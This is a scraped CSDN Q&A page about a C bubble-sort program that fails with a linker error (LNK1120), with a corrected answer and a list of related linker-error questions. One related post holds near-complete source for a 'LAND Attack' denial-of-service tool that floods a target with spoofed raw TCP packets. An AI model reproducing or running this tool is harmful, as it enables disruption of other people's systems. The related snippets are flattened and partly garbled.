C语言冒泡排序法出现Debug/实验7-8.exe : fatal error LNK1120: 1 unresolved externals错误 怎么办?

#include
void input(int a[],int N)
{
int i;
printf("请输入%d个数: \n",N);
for(i=0;i }
void output(int a[])
{
int i;
printf("排序后: ");
for(i=0;i printf("\n");
}
void bub_sort(int a[],int N)
{
int i,j,temp;
for(i=0;i for(j=0;j if(a[j]>a[j+1])
{temp=a[j]; a[j]=a[j+1]; a[j+1]=temp;}
}
void main()
{
int a[10];
input(a,10);
otput(a,10);
}

2个回答

看了一下你的代码,没有包含头文件

 #include <stdio.h>

,而且下面的代码有语法错误,for循环的用法错误.

#include<stdio.h>    
void input(int a[],int N)
{
    int i;
    printf("请输入%d个数: \n",N);
    for(i=0;i<10;i++) 
        {
            scanf("%d",&a[i]);
        }   
}         
void output(int a[],int N)
{
    int i;
    printf("排序后: \n");
    for(i=0;i<N;i++)
        printf("%d\t",a[i]);
}
void bub_sort(int a[],int N)
{
    int i,j,temp;
    for(i=0;i<N;i++)
    {
        for(j=N-1;j>i;j--)
        {
            if(a[j]>a[i])
            {
                a[j]=a[j]+a[i];
                a[i]=a[j]-a[i];
                a[j]=a[j]-a[i];
            }
        }
    }

}
void main()
{
    int a[10];
    input(a,10);  //输入 
    bub_sort(a,10);  //排序 
    output(a,10);  //输出 
}

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
fatal error LNK1120: 1 unresolved externals
这个程序我在VC下编译通过,无法运行,错误代码看下面rn#include rn#include rnvoid main(void)rnrn int answer[4]=1,3,5,2,guess,a,b,times=0,j,i;rn printf("please guess\n");rn while(a!=4)rn a=0;rn b=0;rn times++;rn printf("%d ",times);rn scanf("%d",&guess);rn for(i=0;i>=1;i++)rn for(j=0;j<4;j++)rn rn if((int)(guess/pow10(i))==answer[j])rn rn if(i+j==3)rn a=a+1;rn elsern b=b+1;rn rn rn rn guess=guess-(int)(guess/pow10(i))*pow10(i);rn rn rn printf(" %dA%dB\n",a,b);rnrn rn--------------------Configuration: 猜数字 - Win32 Debug--------------------rnLinking...rnguess.obj : error LNK2001: unresolved external symbol _pow10rnDebug/猜数字.exe : fatal error LNK1120: 1 unresolved externalsrn执行 link.exe 时出错.rnrn这是无法连接数学库是吗?我要怎么设置才可以加入。rn环境是VC6.0.
: fatal error LNK1120: 1 unresolved externals
[code=C/C++][/code]rn1、定义一个类Cpoint表示一个点的信息。在此基础上编写一个表示三角形类Triangle,用友元函数计算三角形面积和周长。rn下面是我写的代码,但是一直有一个错误rn#includern#includern//using namespace std;rnrnclass Cpointrnrnpublic:rn int x; //横坐标rn int y; //纵坐标rnpublic:rn Cpoint()x=0;y=0;rnrn void setX()rn rn cout<<"请输入横坐标:";rn cin>>x;rn rn void setY()rn rn cout<<"请输入纵坐标:";rn cin>>y;rn rn rn rn;rnrnclass Trianglernrnpublic:rn friend double distance(const Cpoint &p1,const Cpoint &p2);rn friend void length(const Cpoint &p0,const Cpoint &p1,const Cpoint &p2);rn// friend double area(const Cpoint &p[3]);rnrn;rndouble distance( Cpoint &p1, Cpoint &p2)rnrn double length1;rn length1=sqrt((p1.x-p2.x)*(p1.x-p2.x)+(p1.y-p2.y)*(p1.y-p2.y));rn cout<<"("<c)rn rn cout<<"三点可以构成一个三角形";rn cout<<"周长:"<
fatal error LNK1120: 1 unresolved externals?
自己写了一个dll,来实现一个组件,然后在另一个工程里使用,但是提示如上错误 fatal error LNK1120: 1 unresolved externals?rn组件里有一个基类和一个继承类rn奇怪的是,如果client使用的是的是从基类(虚基类)里继承的函数则可以执行(但也会出现运行时错误),如果使用子类自己定义的则会出现上述编译错误。rn求教。
Debug/SYN1.exe : fatal error LNK1120: 1 unresolved externals??
编译提示Debug/SYN1.exe : fatal error LNK1120: 1 unresolved externalsrn如何解决??rn
Debug/hello.exe : fatal error LNK1120: 1 unresolved externals
在vc++ 6里面的程序是这样的:rn// hello.cpp : Defines the entry point for the application.rn//rnrn#include "stdafx.h"rnrn#include rnmain()rnrn printf("hello,world");rnrnrn错误提示:rnDebug/hello.exe : fatal error LNK1120: 1 unresolved externals
fatal error LNK1120: 14 unresolved externals
//main.cpprn#includern#include"worker.h"rnrnvoid main()rnrn manager man;rn worker wor;rn sale sal;rn salemanag salmana;rn man.Get_year();rn man.Get_Ysalary();rn man.Get_Gsalary();rn man.Get_salary();rn wor.Get_Gsalary();rn wor.Get_hour();rn wor.Get_Hsalary();rn wor.Get_year();rn wor.Get_Ysalary();rn wor.Get_salary();rn sal.Get_point();rn sal.Get_saleout();rn sal.Get_Ysalary();rn sal.Get_year();rn sal.Get_salary();rn salmana.Get_Gsalary();rn salmana.Get_point();rn salmana.Get_saleout();rn salmana.manager::Get_year();rn salmana.manager::Get_Ysalary();rn salmana.Get_salary();rnrn//worker.hrn#includernclass managerrnrn float G_salary;rn int year;rn float Y_salary;rn float salary;rnpublic:rn manager():G_salary(0),Y_salary(0),year(0)rn Get_year();rn Get_Gsalary();rn Get_Ysalary();rn Get_salary();rn;rnrnclass salernrn float Y_salary;rn float point;int year;rn float saleout;rn float salary;rnpublic:rn sale():salary(0),point(0),saleout(0)rn Get_point();rn Get_year();rn Get_Ysalary();rn Get_saleout();rn Get_salary();rn;rnrnclass worker:public managerrnrn int hour;rn float H_salary;rnpublic:rn worker():manager(),hour(0),H_salary(0)rn Get_year();rn Get_ysalary();rn Get_hour();rn Get_Hsalary();rn Get_salary();rn;rnrnclass salemanag:public manager,public salernrnpublic:rn salemanag():manager(),sale() rn Get_year();rn Get_ysalary();rn Get_salary();rn;rn//worker.cpprn#include"worker.h"rnmanager::Get_Gsalary()rnrn cout<<"Input your Gsalary"<>G_salary;rnrnrnmanager::Get_year()rnrn cout<<"Input your worke year"<>year;rnrnrnmanager::Get_Ysalary()rnrn cout<<"Input your year salary"<>Y_salary;rnrnrnmanager::Get_salary()rnrn salary=G_salary+Y_salary*year;rn cout<<"Salary is "<>point;rnrnrnsale::Get_year()rnrncout<<"Input your worke year"<>year;rnrnrnrnsale::Get_Ysalary()rnrn cout<<"Input your year salary"<>Y_salary;rnrnrnsale::saleout()rnrn cout<<"Input your saleout"<>saleout;rnrnrnsale::Get_salary()rnrn salary=point*saleout+Y_salary*year;rn cout<>hour;rnrnrnworker::Get_Hsalary()rnrn cout<<"Input your hour salary"<>H_salary;rnrnrnworker::Get_salary()rnrn salary=G_salary+hour*H_salary+year*Y_salary;rn cout<<"salary is "<>year;rnrnrnrnsalemanag::Get_Ysalary()rnrn cout<<"Input your year salary"<>Y_salary;rnrnrnsalemanag::Get_salary()rnrn salary=G_salary+year*Y_salary+point*saleout;rn cout<<"salary is "<
fatal error LNK1120: 1 unresolved externals 错误 问题
十分简单的代码, 我建立的工程是 win32 console Application rn直接出现了这个错误。。我不明白原因。请问 rn是我建立工程的类型错误么?rnrn如果是,请问,我如果想用 win32 console Application 下写 socket 我应该用那个头文件?谢谢rn如果不是这个问题,请指出 ,我错误所在,谢谢.rnrn[code=C/C++]rn#includern#includern#includernrnint main()rnrn int sockid = 0;rn sockid = socket(AF_INET,SOCK_STREAM,0);rn //socket(2,1,6);rn return EXIT_SUCCESS;rnrn[/code]
fatal error LNK1120: 6 unresolved externals
--------------------Configuration: 班级 - Win32 Debug--------------------rnLinking...rngraduatelist.obj : error LNK2001: unresolved external symbol "public: __thiscall student::~student(void)" (??1student@@QAE@XZ)rnstudentlist.obj : error LNK2001: unresolved external symbol "public: __thiscall student::~student(void)" (??1student@@QAE@XZ)rnta.obj : error LNK2001: unresolved external symbol "public: __thiscall people::~people(void)" (??1people@@QAE@XZ)rnteacherlist.obj : error LNK2001: unresolved external symbol "public: __thiscall people::~people(void)" (??1people@@QAE@XZ)rngraduatelist.obj : error LNK2001: unresolved external symbol "public: __thiscall people::~people(void)" (??1people@@QAE@XZ)rnmymain.obj : error LNK2001: unresolved external symbol "public: __thiscall people::~people(void)" (??1people@@QAE@XZ)rnpeoplelist.obj : error LNK2001: unresolved external symbol "public: __thiscall people::~people(void)" (??1people@@QAE@XZ)rnstudentlist.obj : error LNK2001: unresolved external symbol "public: __thiscall people::~people(void)" (??1people@@QAE@XZ)rnteacherlist.obj : error LNK2001: unresolved external symbol "public: __thiscall date::~date(void)" (??1date@@QAE@XZ)rngraduatelist.obj : error LNK2001: unresolved external symbol "public: __thiscall date::~date(void)" (??1date@@QAE@XZ)rnpeoplelist.obj : error LNK2001: unresolved external symbol "public: __thiscall date::~date(void)" (??1date@@QAE@XZ)rnstudentlist.obj : error LNK2001: unresolved external symbol "public: __thiscall date::~date(void)" (??1date@@QAE@XZ)rnta.obj : error LNK2001: unresolved external symbol "public: __thiscall date::~date(void)" (??1date@@QAE@XZ)rngraduatelist.obj : error LNK2001: unresolved external symbol "public: __thiscall teacher::~teacher(void)" (??1teacher@@QAE@XZ)rnmymain.obj : error LNK2001: unresolved external symbol "public: __thiscall teacher::~teacher(void)" (??1teacher@@QAE@XZ)rnta.obj : error LNK2001: unresolved external symbol "public: __thiscall teacher::~teacher(void)" (??1teacher@@QAE@XZ)rnteacherlist.obj : error LNK2001: unresolved external symbol "public: __thiscall teacher::~teacher(void)" (??1teacher@@QAE@XZ)rngraduatelist.obj : error LNK2001: unresolved external symbol "public: __thiscall graduate::~graduate(void)" (??1graduate@@QAE@XZ)rnta.obj : error LNK2001: unresolved external symbol "public: __thiscall graduate::~graduate(void)" (??1graduate@@QAE@XZ)rnta.obj : error LNK2001: unresolved external symbol "public: __thiscall ta::~ta(void)" (??1ta@@QAE@XZ)rnDebug/班级.exe : [color=#FF0000]fatal error LNK1120: 6 unresolved externals[/color]rn执行 link.exe 时出错.rnrn班级.exe - 1 error(s), 0 warning(s)rnrnrn这个问题有没有的可以解决的办法?是程序本身的问题还是编程工具的问题?
fatal error LNK1120: 10 unresolved externals
这个错误是什么在造成的呢?rnompiling...rnFreespace 2.cpprnLinking...rnFreespace 2.obj : error LNK2001: unresolved external symbol _closesocket@4rnFreespace 2.obj : error LNK2001: unresolved external symbol _sendto@24rnFreespace 2.obj : error LNK2001: unresolved external symbol _inet_ntoa@4rnFreespace 2.obj : error LNK2001: unresolved external symbol _recvfrom@24rnFreespace 2.obj : error LNK2001: unresolved external symbol _bind@12rnFreespace 2.obj : error LNK2001: unresolved external symbol _setsockopt@20rnFreespace 2.obj : error LNK2001: unresolved external symbol "void __cdecl std_err(void)" (?std_err@@YAXXZ)rnFreespace 2.obj : error LNK2001: unresolved external symbol _socket@12rnFreespace 2.obj : error LNK2001: unresolved external symbol _htons@4rnFreespace 2.obj : error LNK2001: unresolved external symbol _WSAStartup@8rnDebug/Freespace 2.exe : fatal error LNK1120: 10 unresolved externalsrnError executing link.exe.rn
c++组建错误fatal error LNK1120: 1 unresolved externals
![图片说明](https://img-ask.csdn.net/upload/201605/04/1462369690_230367.png)rn![图片说明](https://img-ask.csdn.net/upload/201605/04/1462369698_617083.png)
错误,高手帮忙看看fatal error LNK1120: 1 unresolved externals
具体是这样,rnMessage.obj : error LNK2001: unresolved external symbol "public: virtual struct CRuntimeClass * __thiscall CMessage::GetRuntimeClass(void)const " (?GetRuntimeClass@CMessage@@UBEPAUCRuntimeClass@@XZ)rnDebug/chatroom.exe : fatal error LNK1120: 1 unresolved externalsrnError executing link.exe.rnrnchatroom.exe - 2 error(s), 0 warning(s)rn我建立新勒Message的时候,提示不能找到appropriate header file to include for the base class CObject.是不是这个问题?rn帮忙看看,谢谢了
fatal error LNK1120: 1 unresolved externals是什么错误?怎么解决?
谢谢高手解答^_^
fatal error LNK1120: 2 unresolved externals
#include rnusing namespace std;rn#include rnrnclass Studrnrnprivate:rn int no; //学号 rn string name; //姓名 rn double deg; //成绩 rn static double sum; //总分 rn static int num; //人数rn rn public:rn Stud(int no=0,string name="noName",double deg=0.0)rn rn rn this->no=no;rn this->name=name;rn this->deg=deg;rn this->num+=1;rn this->sum+=deg;rn rn rn void setdata(int no,string name,double deg)rn rn this->no=no;rn this->name=name;rn this->deg=deg;rn this->sum=(sum-this->deg+deg);rn //如果在构造函数中给了成绩,这里又要重新设置,先把原来给的减掉再加上这里新设置的,避免了成绩重复累加 rn rn rn rn void disp()rn rn cout<no<<"\t" <name<<"\t" <deg<<"\t"<>no; rn cout<<"请输入姓名:"<>name; rn cout<<"请输入成绩:"<>deg; rn rn student[0].setdata(no,name,deg);rn rn rnrn rn //显示每个同学的成绩 rn cout<<"学号"<<"\t" <<"姓名"<<"\t" <<"成绩"<<"\t"<
VC6.0>> fatal error LNK1120: 5 unresolved externals
网友说编译我的程序出错, 看起来好像是有些文件没有正确编译, 我没遇到过这样的问题, 不知是为什么? 请大家帮忙看一下, 谢谢! rnrnEmail原文如下:rn----------------------------------------------------------------rn......我现在使用的vc编辑器是6。0版本,不只何故,编译有六处错误。rnLinking...rnMantisChess.obj : error LNK2001: unresolved external symbol "void __cdecl MakeBoard(struct HDC__ *,unsigned long)" (?MakeBoard@@YAXPAUHDC__@@K@Z)rnMantisChess.obj : error LNK2001: unresolved external symbol "void __cdecl FixManMap(int (* const)[12],struct tagPOINT * const,int)" (?FixManMap@@YAXQAY0M@HQAUtagPOINT@@H@Z)rnMantisChess.obj : error LNK2001: unresolved external symbol "int __cdecl Think(int (* const)[12],struct tagPOINT * const,int &,int &,struct tagPOINT &)" (?Think@@YAHQAY0M@HQAUtagPOINT@@AAH2AAU1@@Z)rnMantisChess.obj : error LNK2001: unresolved external symbol "int __cdecl CanGo(int (* const)[12],int,struct tagPOINT const &,struct tagPOINT const &)" (?CanGo@@YAHQAY0M@HHABUtagPOINT@@1@Z)rnLIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _mainrnDebug/MantisChess.exe : fatal error LNK1120: 5 unresolved externalsrnError executing link.exe.rnrnMantisChess.exe - 6 error(s), 0 warning(s)rnrn
求助fatal error LNK1120: 2 unresolved externals
--------------------Configuration: UFO - Win32 Debug--------------------rnCompiling...rnufo.cpprnLinking...rnGameEngine.obj : error LNK2001: unresolved external symbol "void __cdecl MouseMove(int,int)" (?MouseMove@@YAXHH@Z)rnGameEngine.obj : error LNK2001: unresolved external symbol "void __cdecl MouseButtonUp(int,int,int)" (?MouseButtonUp@@YAXHHH@Z)rnDebug/UFO.exe : fatal error LNK1120: 2 unresolved externalsrn执行 link.exe 时出错.rnrnUFO.exe - 1 error(s), 0 warning(s)rn
.exe : fatal error LNK1120: 8 unresolved externals
msdn(gdi+ drawline例程拷到vs2010(win32 console application--add item).cpp。rn![图片说明](https://img-ask.csdn.net/upload/201609/27/1474972566_75781.png)rnrn![图片说明](https://img-ask.csdn.net/upload/201609/27/1474972574_823932.png)rn环境不对?少了什么别的步骤?
fatal error LNK1120: 9 unresolved externals 求解!?
本人vc菜到家rn用vc6编译一个c++的例程,得到如下的错误!!何解rnrncpp1.obj : error LNK2001: unresolved external symbol __imp__closesocket@4rncpp1.obj : error LNK2001: unresolved external symbol __imp__send@16rncpp1.obj : error LNK2001: unresolved external symbol __imp__connect@12rncpp1.obj : error LNK2001: unresolved external symbol __imp__socket@12rncpp1.obj : error LNK2001: unresolved external symbol __imp__inet_ntoa@4rncpp1.obj : error LNK2001: unresolved external symbol __imp__ntohs@4rncpp1.obj : error LNK2001: unresolved external symbol _imp__gethostbyname@4rncpp1.obj : error LNK2001: unresolved external symbol __imp__WSAStartup@8rncpp1.obj : error LNK2001: unresolved external symbol __imp__htons@4rnDebug/cpp1.exe : fatal error LNK1120: 9 unresolved externalsrnError executing link.exe.rnrncpp1.exe - 10 error(s), 0 warning(s)rnrnrnrn望高手能不吝赐教!
Debug/fd.exe : fatal error LNK1120: 11 unresolved externals
本人在编译下面这个程序时出现了以下的错误:rnDebug/fd.exe : fatal error LNK1120: 11 unresolved externalsrn请问各位大侠如何是为什么啊?这么样解决呢?rnrn#include rn#include rn#include rn//#include <#stdafx.h> rn#define false 0rn#define true 1rnrntypedef struct ip_hdr //定义IP首部 rn rnunsigned char h_verlen; //4位首部长度,4位IP版本号 rnunsigned char tos; //8位服务类型TOS rnunsigned short total_len; //16位总长度(字节) rnunsigned short ident; //16位标识 rnunsigned short frag_and_flags; //3位标志位 rnunsigned char ttl; //8位生存时间 TTL rnunsigned char proto; //8位协议 (TCP, UDP 或其他) rnunsigned short checksum; //16位IP首部校验和 rnunsigned int sourceIP; //32位源IP地址 rnunsigned int destIP; //32位目的IP地址 rnIPHEADER; rnrntypedef struct tsd_hdr //定义TCP伪首部 rn rnunsigned long saddr; //源地址 rnunsigned long daddr; //目的地址 rnchar mbz; rnchar ptcl; //协议类型 rnunsigned short tcpl; //TCP长度 rnPSDHEADER; rnrntypedef struct tcp_hdr //定义TCP首部 rn rnUSHORT th_sport; //16位源端口 rnUSHORT th_dport; //16位目的端口 rnunsigned int th_seq; //32位序列号 rnunsigned int th_ack; //32位确认号 rnunsigned char th_lenres; //4位首部长度/6位保留字 rnunsigned char th_flag; //6位标志位 rnUSHORT th_win; //16位窗口大小 rnUSHORT th_sum; //16位校验和 rnUSHORT th_urp; //16位紧急数据偏移量 rnTCPHEADER; rnrn//CheckSum:计算校验和的子函数 rnUSHORT checksum(USHORT *buffer, int size) rn rnunsigned long cksum=0; rnwhile(size >1) rn rncksum+=*buffer++; rnsize -=sizeof(USHORT); rn rnif(size ) rn rncksum += *(UCHAR*)buffer; rn rnrncksum = (cksum >> 16) + (cksum & 0xffff); rncksum += (cksum >>16); rnreturn (USHORT)(~cksum); rn rnrnunsigned long resolve(char *host)rnrnlong i;rnstruct hostent *he;rnrnif((i=inet_addr(host))<0)rn if((he=gethostbyname(host))==NULL)rn return(0);rn elsern return(*(unsigned long *)he->h_addr);rnrnreturn(i);rnrnrnvoid usage() rn rnprintf("==================================================\n"); rnprintf("LAND Attack for Windows 2000/XP version 1.6 HeiBai\n"); rnprintf("\t Written by LK007\n"); rnprintf("\t [url]http://www.heibai.net[/url]\n"); rnprintf("\t Include Auto-Resolve Host to IP code,\n"); rnprintf("\t can input DNS instead of IP Address\n");rnprintf("Usage: LAND [Host] [Port] \n"); rnprintf("**************************************************\n"); rnprintf("LAND 攻击者 for Windows 2000/XP v1.6 黑白专版\n"); rnprintf("\t作者:小金\n"); rnprintf("\t [url]http://www.heibai.net[/url]\n"); rnprintf("\t 内置DNS解析过程,可以直接输入域名\n"); rnprintf("使用方法: LAND [目标] [端口] \n"); rnprintf("==================================================\n"); rnprintf("\n\n");rnprintf("\t==================================\n"); rnprintf("\tLAND Attack .::powered by LK007::.\n"); rnprintf("\t==================================\n"); rnprintf("\t(C)2002 小金 版权所有\n"); rnprintf("\t感谢:星坤,笑天梦无心,FHM 支持\n\n"); rnrn rnrnint main(int argc, char* argv[]) rn rnWSADATA WSAData; rnSOCKET sock; rnSOCKADDR_IN addr_in; rnIPHEADER ipHeader; rnTCPHEADER tcpHeader; rnPSDHEADER psdHeader; rnrnchar szSendBuf[40]=0; rnBOOL flag; rnint Land; rnrnif (argc!= 3) rn rnusage(); rnreturn false; rn rnrnif (WSAStartup(MAKEWORD(2,2), &WSAData)!=0) rn rnprintf("WSAStartup Error!\n"); rnreturn false; rn rnrnif ((sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) rn rnprintf("无法创建Socket套接字!\n"); rnreturn false; rn rnrnprintf("\n\n");rnprintf("\t==================================\n"); rnprintf("\tLAND Attack .::powered by LK007::.\n"); rnprintf("\t==================================\n"); rnprintf("\t(C)2002 小金 版权所有\n"); rnprintf("\t感谢:星坤,笑天梦无心,FHM 支持\n\n"); rnrnflag=true; rnif (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR) rn rnprintf("设置IP数据失败!可能你的系统不支持!\n"); rnreturn false; rn rnrnprintf("Creating Socket...\n\n"); rnrnaddr_in.sin_family=AF_INET; rnaddr_in.sin_port=htons(atoi(argv[2])); rnaddr_in.sin_addr.S_un.S_addr=resolve(argv[1]); rnrn// rn// rn//填充IP首部 rnipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); rnipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); rnipHeader.ident=htons(0xF1C); rnipHeader.frag_and_flags=0; rnipHeader.ttl=255; rnipHeader.proto=IPPROTO_TCP; rnipHeader.checksum=0; rnipHeader.sourceIP=resolve(argv[1]);rnipHeader.destIP=ipHeader.sourceIP;rnrn//填充TCP首部 rntcpHeader.th_sport=htons(atoi(argv[2])); rntcpHeader.th_dport=htons(atoi(argv[2])); rntcpHeader.th_seq=htonl(0xF1C);rntcpHeader.th_ack=1; rntcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); rntcpHeader.th_flag=2; //修改这里来实现不同的标志位探测,2是SYN,1是FIN,16是ACK探测 等等 rntcpHeader.th_win=htons(2048); rntcpHeader.th_urp=0; rntcpHeader.th_sum=0; rnrnpsdHeader.saddr=ipHeader.sourceIP; rnpsdHeader.daddr=ipHeader.destIP; rnpsdHeader.mbz=0; rnpsdHeader.ptcl=IPPROTO_TCP; rnpsdHeader.tcpl=htons(sizeof(tcpHeader)); rnrnprintf("LAND Target:%d\n\n",argv[1]); rnprintf("LAND Data buffering...\n\n"); rnrn//计算校验和 rnmemcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); rnmemcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); rntcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)); rnrnmemcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); rnmemcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); rnmemset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4); rnipHeader.checksum=checksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)); rnrnmemcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); rnrnwhile(1) rnprintf(".");rnLand=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), rn0, (struct sockaddr*)&addr_in, sizeof(addr_in)); rnrnrnif (Land==SOCKET_ERROR) rn rnprintf("Land error:%d\n",WSAGetLastError()); rnreturn false; rn rn//end while rnrnclosesocket(sock); rnWSACleanup(); rnrnreturn 0; rnrn
关于"fatal error LNK1120: 1 unresolved externals" 的问题
我写了一段程序,编译时出现了如下错误:rnrnLinking...rn Creating library Release/AXCLASS.lib and object Release/AXCLASS.exprnAXCLASS1.obj : error LNK2001: unresolved external symbol _ScoreValid@12rnD:\ACCPAC\ax53a/AXCLASS.dll : fatal error LNK1120: 1 unresolved externalsrnError executing link.exe.rnrnrn请高手指点迷经!谢谢!
求助: error LNK1120: 1 unresolved externals
[code=C/C++]rnCompiling...rnObjList.cpprnLinking...rn Creating library \JSK80debug\EasyDB/dbui.lib and object \JSK80debug\EasyDB/dbui.exprnObjList.obj : error LNK2001: unresolved external symbol "public: static int CObjList::count(?count@CObjList@@2HA)rnSWinfo.obj : error LNK2001: unresolved external symbol "public: static int CObjList::count"(?count@CObjList@@2HA)rn\JSK80debug\EasyDB/dbui.exe : fatal error LNK1120: 1 unresolved externalsrn执行 link.exe 时出错.)rn[/code]rnrnObjList类里面有个静态变量count,然后我在类SWinfo里面访问这个变量就报这个错误!rn
为啥是fatal error LNK1120: 1 unresolved externals?
这是有关数据结构链表的一个作业~~程序在链接的时候报这样的错:rntestdriver.obj : error LNK2001: unresolved external symbol "public: void __thiscall EnhancedLinkedList,class std::allocator > >::remove_first(class std::basic_string,class std::allocator > const &)" (?remove_first@?$EnhancedLinkedList@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@@QAEXABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z)rnrn错误出在:l.find_first("not there");rnrn这个方法的定义在:rntemplate T & EnhancedLinkedList::find_first(const T &key)rn Node* current=head;rn if (head == NULL) //EnhancedLinkedList为一个空链表rn throw ListItemNotFoundException("The list is empty!");rn rnrn elsern while(current->getData()!=key)//不匹配rn if(current->getNext()==tail)//如果是到了表尾rn throw ListItemNotFoundException("The item is not found!");//没有找到rn else //还没到表尾rn current=current->getNext();//到下一个结点rnrn rn return current->getData();//找到了rn rnrnrnrn首先是定义一个基类LinkedList:rn#ifndef _LINKEDLIST_H_rn#define _LINKEDLIST_H_rn#include rn#includernusing namespace std;rnrn//定义一个异常类rnclass EmptyListException : public logic_error rnpublic:rn EmptyListException(const string& what_arg ) throw() :rn logic_error ("Empty list exception: "+what_arg) rn;rnrn//定义一个结点类rntemplate rnclass Node rnprivate:rn T data;rn Node* next;rnrnpublic:rn Node(T d, Node* n = NULL) : data(d), next(n) rn T& getData() return data;rn Node*& getNext() return next;rnrn;rnrn//定义一个链表类rntemplate rnclass LinkedList rnprotected:rn Node* head; // Beginning of listrn Node* tail; // End of listrn int count; // Number of nodes in listrnrnpublic:rnrn LinkedList(void) : head(NULL), tail(NULL), count(0) rn LinkedList(const LinkedList& src); // Copy constructorrn virtual ~LinkedList(void); // Destructorrn virtual T& front(void) rn if (head == NULL) rn throw EmptyListException("front()");rn rn return head->getData();rn rn virtual T& back(void) rn if (tail == NULL) rn throw EmptyListException("back()");rn rn return tail->getData();rn rn virtual int size(void) rn return count;rn rn virtual bool empty(void) rn return count == 0;rn rn virtual void push_front(T); // Insert element at beginningrn virtual void push_back(T); // Insert element at endrn virtual void pop_front(void); // Remove element from beginningrn virtual void pop_back(void); // Remove element from endrn virtual void dump(void); // Output contents of listrn;rnrn// Copy constructorrntemplate rnLinkedList::LinkedList(const LinkedList& src) :rncount(0), head(NULL), tail(NULL) rn //.........rnrnrn// Destructorrntemplate rnLinkedList::~LinkedList(void) rn//.........rnrnrn// Insert an element at the beginningrntemplate rnvoid LinkedList::push_front(T d) rn //.........rn rnrn// Insert an element at the endrntemplate rnvoid LinkedList::push_back(T d) rn Node* new_tail = new Node(d, NULL);rn if (this->empty()) rn head = new_tail;rn rn else rn tail->getNext() = new_tail;rn rnrn tail = new_tail;rn count++;rnrn#endifrnrn//定义一个子类,放在头文件里:rnrn#include "Linkedlist.h"rnrnclass ListItemNotFoundException:public logic_errorrn public:rn ListItemNotFoundException(const string& what_arg ) throw() :rn logic_error ("Empty list exception: " + what_arg) rn;rnrntemplate rnclass EnhancedLinkedList:public LinkedListrnpublic:rn T& find_first(const T& key); rn EnhancedLinkedList find_all(const T& key); rn void remove_first(const T& key); rn void remove_all(const T& key); rn;rnrn//实现过程放在源文件里rn#include "EnhancedLinkedList.h"rnrntemplate T & EnhancedLinkedList::find_first(const T &key)rn Node* current=head;rn if (head == NULL) //EnhancedLinkedList为一个空链表rn throw ListItemNotFoundException("The list is empty!");rn rnrn elsern while(current->getData()!=key)//不匹配rn if(current->getNext()==tail)//如果是到了表尾rn throw ListItemNotFoundException("The item is not found!");//没有找到rn else //还没到表尾rn current=current->getNext();//到下一个结点rnrn rn return current->getData();//找到了rn rnrnrn//在源文件里写一个测试代码:rn#include rn#include rn#include rn#include rnrn#include "EnhancedLinkedList.h"rnrnrnusing namespace std;rnrnint main (int argc, char* argv[]) rnrn EnhancedLinkedList master;rn master.push_back ("one");rn master.push_back ("two");rn master.push_back ("three");rn master.push_back ("four");rn master.push_back ("five");rn cout << "Find with empty list: This test should indicate not found exception" << endl;rn EnhancedLinkedList l;rn try rn l.find_first("not there");rn rn catch (logic_error& e) rn cout <
进行编译时为何弹出fatal error LNK1120: 1 unresolved externals
我的程序非常简单,用的是VC6.0软件:rn#include rn#include rn#include rnusing namespace std;rnvoid main()rnrn vector va;rn vector vs(20,"abc");rn cout<
fatal error LNK1120: 1 unresolved externals大家帮忙看看
VC++6编译通过,但是组建的时候报错了,报错如下:rn--------------------Configuration: Cpp1 - Win32 Debug--------------------rnLinking...rnCpp1.obj : error LNK2001: unresolved external symbol _sqlcxtrnDebug/Cpp1.exe : fatal error LNK1120: 1 unresolved externalsrn执行 link.exe 时出错.rnrnCpp1.exe - 1 error(s), 0 warning(s)rn-------------------------------------------------------------------------rn下面是程序代码:rnrn/* Result Sets Interface */rn#ifndef SQL_CRSRrn# define SQL_CRSRrn struct sql_cursorrn rn unsigned int curocn;rn void *ptr1;rn void *ptr2;rn unsigned int magic;rn ;rn typedef struct sql_cursor sql_cursor;rn typedef struct sql_cursor SQL_CURSOR;rn#endif /* SQL_CRSR */rnrn/* Thread Safety */rntypedef void * sql_context;rntypedef void * SQL_CONTEXT;rnrn/* Object support */rnstruct sqltvnrnrn unsigned char *tvnvsn; rn unsigned short tvnvsnl; rn unsigned char *tvnnm;rn unsigned short tvnnml; rn unsigned char *tvnsnm;rn unsigned short tvnsnml;rn;rntypedef struct sqltvn sqltvn;rnrnstruct sqladtsrnrn unsigned int adtvsn; rn unsigned short adtmode; rn unsigned short adtnum; rn sqltvn adttvn[1]; rn;rntypedef struct sqladts sqladts;rnrnstatic struct sqladts sqladt = rn 1,1,0,rn;rnrn/* Binding to PL/SQL Records */rnstruct sqltdssrnrn unsigned int tdsvsn; rn unsigned short tdsnum; rn unsigned char *tdsval[1]; rn;rntypedef struct sqltdss sqltdss;rnstatic struct sqltdss sqltds =rnrn 1,rn 0,rn;rnrn/* File name & Package Name */rnstruct sqlcxprnrn unsigned short fillen;rn char filnam[8];rn;rnstatic const struct sqlcxp sqlfpn =rnrn 7,rn "Cpp1.pc"rn;rnrnrnstatic unsigned int sqlctx = 8931;rnrnrnstatic struct sqlexd rn unsigned int sqlvsn;rn unsigned int arrsiz;rn unsigned int iters;rn unsigned int offset;rn unsigned short 